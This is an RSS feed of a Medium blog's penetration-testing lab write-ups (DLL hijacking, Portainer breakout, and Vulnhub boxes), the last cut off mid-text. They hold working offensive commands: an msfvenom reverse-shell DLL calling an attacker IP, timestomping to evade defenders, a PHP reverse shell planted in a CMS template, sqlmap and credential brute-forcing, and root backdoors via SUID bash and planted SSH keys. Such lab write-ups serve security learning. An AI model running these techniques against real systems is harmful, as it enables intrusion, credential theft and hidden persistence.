<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ArtilleryRed on Medium]]></title>
        <description><![CDATA[Stories by ArtilleryRed on Medium]]></description>
        <link>https://medium.com/@artilleryred?source=rss-870a672817da------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*8NF-PyZdiQQ_mBpA</url>
            <title>Stories by ArtilleryRed on Medium</title>
            <link>https://medium.com/@artilleryred?source=rss-870a672817da------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 07:26:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@artilleryred/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Pentester Academy: DLL Hijacking]]></title>
            <link>https://artilleryred.medium.com/pentester-academy-dll-hijacking-52a04b6ec66d?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/52a04b6ec66d</guid>
            <category><![CDATA[pentester-academy]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Mon, 01 Aug 2022 04:22:23 GMT</pubDate>
            <atom:updated>2022-08-01T04:22:23.765Z</atom:updated>
            <content:encoded><![CDATA[<p>Pentester Academy put out a challenge to do a write-up on their DLL Hijacking lab called: DVTA. I do like my DLL tricks because once embedded they are harder to track down by the blue team. Very hard to do a query for this by looking at a system’s instance. It takes referring back to a “gold standard” or some image disk that most teams loose track of after deployment (may times referred to as drift). With that, let’s jump in.</p><p>First, I’ll start with understanding what dll’s cannot be hijacked. To find those, just look at the registry key to see what is being forbidden by Windows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*KfdK-Onuv9n_mhFSiZpLIg.png" /><figcaption>Checking the registry key</figcaption></figure><p>So as we start to go on the hunt for dlls we can hijack, these are the ones on the no-go list (without doing some library signing but this doesn’t involve that). Second, I know that DLLs are searched in an order. I always go to the documentation here to validate: <a href="https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order">https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order</a>. From there, there are two options: SafeDllSearchMode and not. In our case, it is not:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*z2Lc7NToHJO5IjCOCIq81g.png" /><figcaption>Checking for SafeMode</figcaption></figure><p>So now we know what the order looks like, let’s extract the default path loaded in the environment variables:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*i02mu-F2R-4mmc8yGIa7jA.png" /><figcaption>Path to find DLLs</figcaption></figure><p>So there is the path that I can put DLLs (in that order). So with that knowledge, now it is time to go check out the EXE they gave us and see what it needs. On the target machine, they provided “ProcMon64.exe” which is the sysinternals process monitor. Let’s run that and put in a few filters to find our items:</p><ol><li>Go to “Filter-&gt; Filter” and add in “Process name is DVTA.exe Include”, “Result is NAME NOT FOUND Include”, and “Operation is CreateFile Include”.</li><li>After hitting apply, you can see all the dlls it tried to load but couldn’t. Looking at the path directory, what can we write to?</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YnZMfDzukm5GDsplvFt10Q.png" /><figcaption>Seeing our options</figcaption></figure><p>So it looks like we got quite a few options here. Since we are the administrator, we could pick just about anything. In this case, we can pick something that will hide well. What hides well? Well, writing to the “Microsoft.NET” directories is going to be very suspicious with us writing a new file (with a new timestamp) in these directories. Secondly, it may BREAK something else that runs on the system. How many other programs tried to open this dlls and didn’t find it? In this case, I feel pretty safe running the in the “dvta” directory (and anyone that runs dvta is going to give me a shell back!). So let’s pick that one. Of course if I didn’t know I could write to it, I should check with this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*CQJqCXiICG0aziSGs51img.png" /><figcaption>Checking permissions</figcaption></figure><p>So now that I’ve committed to using C:\Users\Administrator\Desktop\dvta\bin\Release\DWrite.dll, let’s make the exploit. I’ve got a basic shell on my github, but this challenge is self-contained and I’m not in to cutting/pasting that much. So, I’ll leverage msfvenom to create the payload with: “msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.22.2 LPORT=12345 -f dll &gt; Dwrite.dll” and we now have something. I fire up a hosting spot with “python3 -m http.server” and now I can go grab it. Once I grab it, I can verify it is there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*FWMaTX50C0dTebn7U47BFg.png" /><figcaption>Getting the file over</figcaption></figure><p>As you can see, it is there now. However, it sticks out like a sore thumb. So, let’s do a little timestomping to get it to blend it better.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*tyiB7bKqrq_-jQ5f4pIz-w.png" /><figcaption>updating the timestamps</figcaption></figure><p>That will make the blue team work a little harder. So, now let’s see if it works. Start a listener on your attacker box (you verified you can reach it because it downloaded the file, so that was good) and then re-run the DVTA.exe. Now when it runs, we get a success in procmon so we know it ran. Now check your listener and NOTHING! What the heck went wrong? Let’s bring up process monitor and see:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*ZlVfioKIkt4aYAPAexoTkA.png" /><figcaption>Verifying architecture</figcaption></figure><p>So, above we built a 64-bit payload because we were on a 64-bit architecture. However, this is running a 32-bit executable, so we need a 32-bit payload!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IPkyxwnTV6bMAPmnhqrtbw.png" /><figcaption>getting the right payload</figcaption></figure><p>And now we get a shell back from the windows box! Payloads matter and we assumed that because the OS was 64-bit, our payload should match. Our payload has to match what is being exploited, which is the application (running in a 32-bit space). That’s the challenge. Once we have this kind of control, the options are limitless! Catch you next time.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52a04b6ec66d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pentester Academy: Weakest Link]]></title>
            <link>https://artilleryred.medium.com/pentester-academy-weakest-link-6afc4ad27166?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/6afc4ad27166</guid>
            <category><![CDATA[pentester-academy]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Mon, 01 Aug 2022 03:24:57 GMT</pubDate>
            <atom:updated>2022-08-01T03:24:57.139Z</atom:updated>
            <content:encoded><![CDATA[<p>Pentester Academy provided a challenge to do a write-up of their container breakout challenge: “Weakest Link”. Link can be found here: <a href="https://attackdefense.pentesteracademy.com/challengedetails?cid=1415&amp;utm_source=lp&amp;utm_medium=referral&amp;utm_campaign=labsprint">https://attackdefense.pentesteracademy.com/challengedetails?cid=1415</a>. This challenge is an example of a container manager that uses weak credentials that allows the exploiter to gain access to the root/host operating system. The scenario is based on a brute-force attack has revealed credentials to a default Portainer instance. Here goes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*yQIQPPLkYyPmsXNOnjp4Iw.png" /><figcaption>Initial login</figcaption></figure><p>The login provides the portainer.io panel that allows for the management of containers. Looking at what is pre-built, there is a container running for me that exposes ports 8000 and 9000. We can see it runs on IP address 172.17.0.2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u7TQEM2VzT0CrkFfrnKvmQ.png" /><figcaption>Containers Available</figcaption></figure><p>I usually check the “Inspect” tab to see what it took to start up this container, and you’ll see some juicy stuff in there like hard-coded parameters. However, it appears in this instance that there isn’t much to exploit. Looking at the Mount points, there are a few mounting points that are being used here. If we could start up our own container and mount those points with elevated privileges, that would be handy! Let’s try. Let’s add a container and see what we can do with it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_pjMqz1XPkPk1bqn6T09kw.png" /><figcaption>Adding the root to the container</figcaption></figure><p>So we can add to the container any path on the host OS, so how about we just add “/”? Also, I’ll go to the “Runtime &amp; Resources” tab and select “priviledged” to ensure we get all the permissions we can. Now I hit “deploy container” and it builds it. Now on the container just click “Console” and then “Connect” and see what you get. And voila!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Es8ynkpzONBOdZutDWpRxg.png" /><figcaption>Showing both systems access</figcaption></figure><p>As you can see, we get the other OS mounted into our container (with root privileges). We can see the difference by running a simple “hostname” printout and confirming they are two different files. So we can do plenty of malicious things from here, but the goal as to get a flag so here it is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*rNu98aTui8DIVR1m6wTwjQ.png" /><figcaption>Grabbing the flag from the host file system</figcaption></figure><p>So in summary, this machine was able to be exploited by quite a few things that went wrong:</p><ol><li>A weak credential being used on the Portainer GUI</li><li>No protections for brute-force dictionary attacks</li><li>No restrictions to access resources on the host machine</li><li>No logging or monitoring to find this abusive behavior</li></ol><p>These are quite common findings in smaller organizations and start-ups. Just a few misconfigurations and the unethical hacker is off and running!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6afc4ad27166" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GlasgowSmile Writeup]]></title>
            <link>https://artilleryred.medium.com/glasgowsmile-writeup-1b491be6e339?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/1b491be6e339</guid>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Fri, 01 Jul 2022 19:59:05 GMT</pubDate>
            <atom:updated>2022-07-01T19:59:05.806Z</atom:updated>
            <content:encoded><![CDATA[<p>So another vulnhub box called Glasgow Smile was introduced to our team so we learned together. You can download it from: <a href="https://www.vulnhub.com/entry/glasgow-smile-11,491/">https://www.vulnhub.com/entry/glasgow-smile-11,491/</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*3yRSj3yfFOcSFFSd_iax5w.png" /><figcaption>VM Boot</figcaption></figure><p>This VM provides the IP address on boot, so not network discovery required here. We jumped right in to leveraging nmap with <em>nmap -sC -sV -p- $IP -oN glasgow.nmap</em> and we got two ports back: 22 and 80. Its running ubuntu, but nothing stands out. I’m going to go check out the webpage, but while I do that I’ll check UDP as well in the background: <em>nmap -sS -p- $IP -oN glasgow_udp.nmap</em>. So for the webpage, I’ll start with <em>curl $IP -v</em> and see what we are getting back. Nothing interesting and only html with one image available. I’ll download that image with <em>curl $IP/joker.jpg — output joker.jpg </em>and while I investigate the image, I’ll let <em>feroxbuster -u </em><a href="http://$ip/"><em>http://$IP</em></a> run to keep things going in the background. Checking out the image, not much in there but I always want to check for information leakage. I ran the following commands: <em>file joker.jpg, binwalk joker.jpg, exiftool joker.jpg, strings joker.jpg, </em>and <em>firefox joker.jpg. </em>There are two words I’ll save for later “Glasgow Smile” and “Mindsflee” in case I need them. Feroxbuster finished up and found a joomla page. CMS pages are always a candidate for infiltration! So let’s run a specific scanner for joomla. I’ll do the following: <em>joomscan — url $URL -ec</em> and get this output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*b7SUuVpTGbSH_MW4k0CPFA.png" /><figcaption>joomla scanner</figcaption></figure><p>So it found the administrator page, some robots.txt entries that attempt to stop web crawlers from indexing items, and some components that really don’t have any vulnerabilities in them. I do see the version so <em>searchsploit joomla</em> to see anything is close. There is an SQL injection for 3.7, but that doesn’t take us anywhere. So, off to visit this CMS and see what is clickable: <em>firefox $URL. </em>The page has one item on it with some quotes from the Joker movie. I capture some potential usernames like joker, arthur, and Super User. Not much else to navigate, so off to google to find the default joomla passwords. Google leads me to install pages where joomla asks for you to set the default password during install. However, it appears that “joomla” is a user option as well so add that to my list. After some more looking around, there isn’t much else. I have a set of potential users, but that’s about it. I try to log in a few times and I’m a bad guesser. With no clue what type of password list to try, I’ll create a list from the webpage and see if that can get me close. I run: <em>cewl $URL -w cewl.list</em> and I got a list of words. Well, let’s give it a shot and see what happens! It so happens that <em>nmap</em> has a script just for joomla, so I used that one instead of <em>hydra</em> or <em>burp</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWztLwh4BTtsl8uvNJQRYA.png" /><figcaption>nmap joomla brute force</figcaption></figure><p>It found some results. However, all results after the first one are false positives. Once the first logon works, it returns a cookie that gives the false positives for the rest of the accounts. Now with a valid login, we can see the CMS page. Since we are on as <em>joomla</em> we have full control. To be easy, I’ll go into “Templates” and put a reverse shell embedded in there. What we have to be careful about is putting the webpage into a pause while the shell is running. I visited and found a php payload that runs as a process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*BrUy1oekiD2znlERT6u4nA.png" /><figcaption>Inserting a quick php rev shell</figcaption></figure><p>In this case, we didn’t use any PaaS redirector or a C2 shell, but we could if we needed to. Notice this is not the same box I used to enumerate, I’m putting the next step on my windows box! As soon as you look at the home page (curl works too), we get a shell!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*nEzdn89RbYu12IEOcKeJbg.png" /><figcaption>Getting a shell callback</figcaption></figure><p>Since I started this shell from windows doing netcat (nc64.exe), my shell is pretty stable right now. It drops me in the joomla directory, but that’s where I want to be anyway. www-data is a service account, so my first goal is to see what configuration files we have access to browse to get better/more access. Doing an <em>ls</em> there is the “configuration.php” file and it contains database creds. Let me save those and go look at the next service. <em>mysql -u joomla -pbabyjoker</em> gets us in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/1*yixsuee8Z7O5k9IYLL2j1Q.png" /><figcaption>mysql tables</figcaption></figure><p>Looking around, we can get to the joomla_db. The only thing in there that is juicy is: <em>select username,password from jnqcu_users;</em> but we already got that! Let’s go look at <em>use batjoke; show tables; </em>and we get some potential usernames and hashes. I copy them over to my box and do a little editing. I see that a few of them end in “==” which may mean they are base64 encoded. A quick check says yes they are. So with a little bash magic, here is some results:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RZ7RV9tmqXYvHzgR87bKyQ.png" /><figcaption>Tapering down the information</figcaption></figure><p>So my tool of choice here is to see if these creds work on ssh since that port was open. I’ll use crackmapexec to have it automate the work! <em>cme ssh $IP -u users2.txt -p passwords.lst — no-bruteforce </em>and we got a winner with “rob”! <em>ssh rob@$IP</em> lets me in! An initial check in the home directory and I have a note from Abner?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j_gDARv3mNPEJcJtgMlZpg.png" /><figcaption>Abner’s Message</figcaption></figure><p>It looks funny, but I do see some “==” at the end so I’ll try base64 decoding. No luck. It doesn’t look encoded, but I ran it with <em>ent aberMessage.txt</em> and it doesn’t have a high enough score to be encrypted. So maybe it is something simple like a cypher. <em>cat Abnerineedyourhelp | tr ‘a-zA-Z’ ‘b-zaB-ZA</em>’ turns out to be a winner! With that, now I run that last command through base64 decoding and I got a nice long password. doing a <em>su</em> gets me over to abner’s account. I jump to my new home directory with: <em>cd ~ </em>and I got another file there: info.txt.<em> </em>Just a good story in there. Showing all files, there is a bash history available. Looking inside there is some penguins file that he’s messing with. Let’s find it: <em>find / -name “.dear_penguins.zip” 2&gt;/dev/null</em>. We found it in the joomla directory, so let’s open it. <em>cd /dev/shm; unzip /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip</em>. It asks for a password and I try abner’s. That works. Next I see what it is with <em>file dear_penguins</em> and it is ascii. Okay show me with <em>less dear_penguins</em> and we got another story with some ascii at the end. I’ll try base64 one more time and it definitely isn’t base64! However, I try the string without converting and I get another login with <em>su penguin</em>. I change to penguin’s home directory and see a few files. There is a note saying that penguin is struggling with the find command he built that has a SUID bit. For some weird reason, there are two files that are owned by the group root…weird.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*ZadLb2dVuSSlmIVwgpJkQQ.png" /><figcaption>penguin’s directory</figcaption></figure><p>Inside of “.trash_old” it just has exit in it. Root owns the group but I can right he file, let me just add a command in there and see if somehow it executes. I’ll add<em> ‘echo “hello” &gt; /tmp/messageToMe’ </em>to the file. Now I’ll run <em>watch /tmp/messageToMe</em> and voila it appears!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VBhB5VXsBfbxWNoH5kjkbg.png" /><figcaption>watching a file</figcaption></figure><p>It even says that I cannot edit it, which means it was created with different permissions? Let’s go check. <em>ls -al /tmp/messageToMe</em> shows it is owned by root! Well, I’ll change the code and instead of writing me a message, I’ll just add a SUID bit to bash and make a backdoor: <em>chmod +s /bin/bash;</em>. And voila, that changes too: <em>ls -al /bin/bash</em>. Let’s upgrade the shell with <em>bash -p</em> and we got a root shell (elevated permission but not quite root). Just to finish this off, let’s create a certificate with <em>ssh-keygen -f artilleryRed </em>and put that in the /root/.ssh/authorized_keys file and we can ssh in as root!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*liH5J0efT5wuahINMjAk7g.png" /><figcaption>ssh in to see the crontab</figcaption></figure><p>And that is the box. You can see above, there was a crontab running as root executing that .trash_old file. Remember, always try something new!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b491be6e339" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lord of the Root Vulnhub Writeup]]></title>
            <link>https://artilleryred.medium.com/lord-of-the-root-vulnhub-writeup-6d861bc51b7d?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d861bc51b7d</guid>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Mon, 30 May 2022 16:46:44 GMT</pubDate>
            <atom:updated>2022-05-30T16:46:44.397Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*nEzuIfvI7GkC1pBixiAV4Q.png" /></figure><p>Lord of the Root is a boot to root style box that offers great opportunities to refine your process and fill in some gaps when your mind-map runs to the end. Here comes the journey.</p><p>I start with setting the bash variable <em>IP=192.168.152.129</em> so I don’t have to remember stuff. This allows me to copy-and-paste from my notes using variables and I don’t have to modify the commands. So I’ll start with <em>ping -c 4 $IP</em> but that returns nothing. So pings must be blocked, need to note that for future commands. Let’s start with an nmap of <em>nmap -sC -sV -oN lotr.nmap -Pn $IP </em>and that returns one port: ssh. I’ll run a bigger nmap of all ports to see outside the top ports: <em>nmap -sC -sV -oN lotr.nmap_full -Pn $IP</em>. That only returns one port: ssh. Well, let’s start a UDP scan while I look at this one TCP port: <em>nmap -sU -oN lotr.nmap_udp $IP</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*amt3vMKM7sUxQoHOeiw6Sg.png" /><figcaption>nmap results</figcaption></figure><p>So looking at the nmap results, the ssh port isn’t providing much. However, looking at the part above, it says “65534 filtered ports” which indicates that the ports are being monitored some how: probably a firewall. I could run a <em>traceroute </em>on it, but I know it is not behind an external firewall: this is probably <em>iptables </em>doing it (or some built-in tool on the box). Looking at <em>searchsploit openssh</em> there aren’t really any that meet this service version that can help us. If we had usernames we could do some validating, but we aren’t even there yet. Time to connect and see what happens!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6QJn2Mqy4ly-H7yzRFA22A.png" /><figcaption>ssh attempt</figcaption></figure><p>So I try with <em>ssh logEntry@$IP</em> to see what it gives. Regardless of success or not, the attempted user name for login (along with my IP) will be in the access.log file, so I chose to use <em>logEntry</em> to be in there. In the text, it highlights a phrase with a series of numbers. Hmmm…maybe there is a way around iptables! So following directions I try <em>knock $IP 1 2 3. </em>The only way to see success is to check ports again. <em>nmap -sS -p- -oN lotr_knock.nmap $IP -Pn — max-rate=10000</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*T1DM26bBGqNUFX8p_zpS9Q.png" /><figcaption>nmap after knock command</figcaption></figure><p>Ah, so knocking does work. Looks like we got another port. Let’s investigate that one. <em>curl $IP:1337. </em>So the page is just an image and that is it. Let’s check the image in case we got some hidden stuff in it. <em>curl $IP:1337/images/iwilldoit.jpg -o iwilldoit.jpg. exiftool iwilldoit.jpg. binwalk iwilldoit.jpg</em>. <em>strings iwilldoit.jpg. xxd iwilldoit.jpg</em>. No, don’t see anything buried. If something like <em>steghide</em> was used, it will take some brute forcing. If I find nothing else, I’ll come back to this. I’ll go ahead and run <em>feroxbuster — url </em><a href="http://$IP:1337."><em>http://$IP:1337</em>.</a> This gives a 301 in images and a 403 on server-status. Let’s see what a 404 gives.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*KHSHByjDQbymqj6R1WgtZg.png" /></figure><p>It gives another image, but there is a comment in there. Let’s pull it out and see what we get: <em>webpath=$(echo ‘THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh’ | base64 -d | cut -f 1 -d’ ‘ | base64 -d). </em>That gives us a new spot to try: <em>curl $IP:1337/webpath</em>. Now we got a login page. Run the <em>curl</em> command again with a <em>-v</em> and we can see we got a php page and a cookie. Since we have no usernames/passwords (or hints to what they would be), I’ll try <em>admin:admin</em> to see how the page responds. It gives an “invalid”. So we probably have two good options: potential sql injection in the form or brute-forcing usernames/passwords. Let’s try sql injection first. I’ll start with <em>sqlmap -r login.req — batch</em>. It provides nothing with the defaults. I really don’t like brute-forcing unknown usernames (although the theme of the box we could have some educated guesses), so let’s increase our efforts<em>: sqlmap -r login.req — batch — level 5 — random-agent</em>. It says <em>username</em> is injectable and the backend DBMS is MySql. Okay, let’s continue this adventure with <em>sqlmap -r login.req -dbms mysql -dbs -batch</em> and we get back two databases. Might was well pull them both. <em>sqlmap -r login.req -dbms mysql -D mysql -tables -threads=10 -batch</em> and <em>sqlmap -r login.req -dbms mysql -D Webapp -T Users -dump -threads=10 -batch</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*KPVJtv15qTBpi9HkC5UV0w.png" /><figcaption>webapp database dump</figcaption></figure><p>So we got a dump and potential usernames and passwords that may work. Let’s try to get a shell: <em>sqlmap -r login.req2 -dbms mysql — os-shell</em>. No, can’t seem to pull off a shell here inside of sqlmap, but worth a shot. Well, let’s try them to see if they work. Let me pull out the users: <em>cat ~/.local/share/sqlmap/output/192.168.152.129/dump/Webapp/Users.csv | awk -F’,’ ‘{print $3&quot;:”$2}’</em> and we’ll need to separate the users and the passwords into their own files. <em>hydra -L users -P pass $IP -s 1337 http-post-form “/978345210/index.php:username=^USER^&amp;password=^PASS^&amp;submit=Login:invalid” -v</em>. And they all work! Kinda makes sense because they are in the database as valid users. However, each login provides the same about of access. No profile page, admin page, etc. Now that I have a valid PHPSESSID, I could do some directory busting again to see what we get. However, before I do that, I’ll check for reuse across services. <em>crackmapexec ssh $IP -u users -p pass — no-bruteforce — continue-on-success</em> gives a success for smeagol!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*6sDkI9C0MU8lUywg7IPTzQ.png" /><figcaption>smeagol login success</figcaption></figure><p>So, from here we could do it manually or use a tool. I’ll just use a tool to expedite the process. I’ll move linpeas over to the box and run it. From a new terminal I ran: <em>scp ~/kaliOptHome/privilege-escalation-awesome-scripts-suite/releases/linpeas.sh smeagol@$IP:/dev/shm</em>. Then on the ssh shell I ran <em>bash /dev/shm/linpeas.sh | tee linpeas.output</em>. LinPEAS highlights the “95% vectors” in red and yellow: this box has 3 right off the bat. One is a kernel exploit for the old kernel, one is a CVE for polkit which came out in 2021, and the third is a SUID setting on a custom executable. Let’s run through each of them.</p><p>The kernel exploit can be overwhelming as this kernel is a bit old and there are a lot of options. Running something simple like <em>searchsploit kernel 3</em> can be overwhelming and take a lot of time to filter what you want to try. linPeas already has linux exploit suggester built in to provide those vectors. The top items are <em>dirtycow </em>which is popular and easy. If we follow the <em>searchsploit </em>logic, it says 37292 works up to 3.19 which is close. We can try it, but it won’t work. So what is the next kernel exploit up? Well, what is the next one above 3.19 for an ‘overlayfs’? Let’s look at <em>searchsploit overlayfs</em> and you can see the ones above 3.19. I’m going to try 39166 since that is the next highest one. <em>searchsploit -m 39166</em> moves it to my directory and <em>scp 39166.c smeagol@$IP:/dev/shm</em> moves it to the box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*iv6LcgzU4_rsRo6J5CeyJQ.png" /><figcaption>Option 1 — Kernel Exploit</figcaption></figure><p>The CVE is given with the linPeas output, as well as the direct download link. You could use the <em>searchsploit</em> option, but let’s see how this tool helps us out. If we download the link from the linpeas output, we get a zip file. We can copy the whole file over and run it from there. <em>scp CVE.zip smeagol@$IP:/dev/shm.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2nTpOwUZ2qxlE4GAS1An1g.png" /><figcaption>Option 2 — Following the directions, we have success!</figcaption></figure><p>The third option is way more tricky and involves quite a bit of time. This is a classic buffer overflow option that has to overcome ASLR. Once I built the exploit, I had to do some brute-forcing to have it loop until it lands within my buffer space. If you think you got buffer overflows down, give this one a shot and learn a new technique!</p><p>There are more ways to get root on this box, but those were the obvious top 3. Enjoy!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d861bc51b7d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub Writeup: Corrosion-2]]></title>
            <link>https://artilleryred.medium.com/vulnhub-writeup-corrosion-2-880d59055fb6?source=rss-870a672817da------2</link>
            <guid isPermaLink="false">https://medium.com/p/880d59055fb6</guid>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[ArtilleryRed]]></dc:creator>
            <pubDate>Sat, 11 Dec 2021 19:56:28 GMT</pubDate>
            <atom:updated>2021-12-11T19:56:28.261Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/545/1*65PXf5039WidWedjAz4FRQ.png" /><figcaption>Startup of Corrision-2</figcaption></figure><p>So this machine comes up with this. Interesting, we already know 3 usernames: jaye, randy, and tomcat. In order to find this device, this time I used nmap to find the device using: <em>nmap 192.168.56.2/24 -p 22</em> which just checks for port 22 and sees what we got. I matched up the MAC address given with virtual box (maybe I shouldn’t have so many devices on this network but anyway). Let’s continue with a full nmap on the box with: <em>nmap -sC -sV -T5 $IP -p- -On corrosion2_tcp.nmap</em></p><figure><img alt="The nmap output for the box" src="https://cdn-images-1.medium.com/max/516/1*KsVDTLelvL_prwCKdgucIQ.png" /><figcaption>nmap output</figcaption></figure><p>Okay, what I start investigating those, I’ll let udp run as well. Looking that the results, I am guessing this is a <strong>focal </strong>distribution of Ubuntu. A quick search on Searchsploit and we don’t have any glaring options. So let’s go visit some webpages. <em>curl $ip</em> gives us a default http deployment on apache. Nothing new here, so let’s see if they deployed something behind it. Running feroxbuster with the default options, it only finds the main page:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*AgHKYjDjOSkGuanOo25SZQ.png" /><figcaption>feroxbuster default run on port 80</figcaption></figure><p>Okay, not much here. There is a /server-status that would hit at there may be an authentication page somewhere, but we didn’t find it with that wordlist. Let’s check it with the large list and see if anything pops. It doesn’t, so we may come back here if the other port doesn’t get us anywhere.</p><p>Going on to the other port, we know it is a tomcat page. It finds quite a few pages here, but requires authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*tgeuu-kiDt62PV95SKQXgw.png" /><figcaption>feroxbuster for port 8080</figcaption></figure><p>Interesting, but not much that sticks out. However, seeing things like “manager” and “host-manager” reminds me of a tomcat deployment. That’s what <em>nmap</em> told us, so it makes since. If you follow some of those <em>200</em> links, it will come clear. Let’s run the wordlist specifically for this box:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*tsDBaTJwdjN4XcveKWdURA.png" /><figcaption>feroxbuster with apachetomcat wordlist</figcaption></figure><p>Interesting, there is a RELEASE-NOTES.txt file still available, let’s check that out. It says that this is an Apache Tomcat 9.0.53. That matches <em>nmap</em>, but good to verify. Wait a minute, looking at the full results, there is a <em>readme.txt</em> file too? Let’s check that out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*k9PcvN6Y4NYWd4oioOSqyA.png" /><figcaption>readme.txt</figcaption></figure><p>Well, so now we are hiding messages huh? Time to start using a file wordlist and see what we can find. Since it is a file, we need to pick a file wordlist. However, we need to identify the extension too. Since we have no idea, I’ll try some common ones like <em>txt, zip, tgz, tar, </em>and <em>php</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*9V6g-zSbbjNb1bTKhgnsbA.png" /><figcaption>feroxbuster looking for files</figcaption></figure><p>And there we go, found us a backup.zip file. Let’s grab it and unzip it. Of course it needs a password and we haven’t found one of those yet. Let’s see if John can help us while we keep enumerating.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*xp3pB79FOHHQm26ldxwTXg.png" /><figcaption>executing john the ripper to extract the files</figcaption></figure><p>And <em>john</em> succeeds! Using that password it appears we are getting some website configuration files. Looking through these files, there is the classic “tomcat-users.xml” file that stores the username/passwords of those allowed to login. Using one of those, we now have creds to get into the page. Now that we get on the page, it allows us to deploy war files. Let’s make one and deploy it. Since this is a java page, let’s make a java payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*tIHlGC1T2M-JoX2pznSanA.png" /><figcaption>creating a tomcat payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*L543cazPQqc7eQyN8WRSZQ.png" /><figcaption>receiving the shell</figcaption></figure><p>And Voila! Alright, we got a foothold here. Doing some initial recon, we have 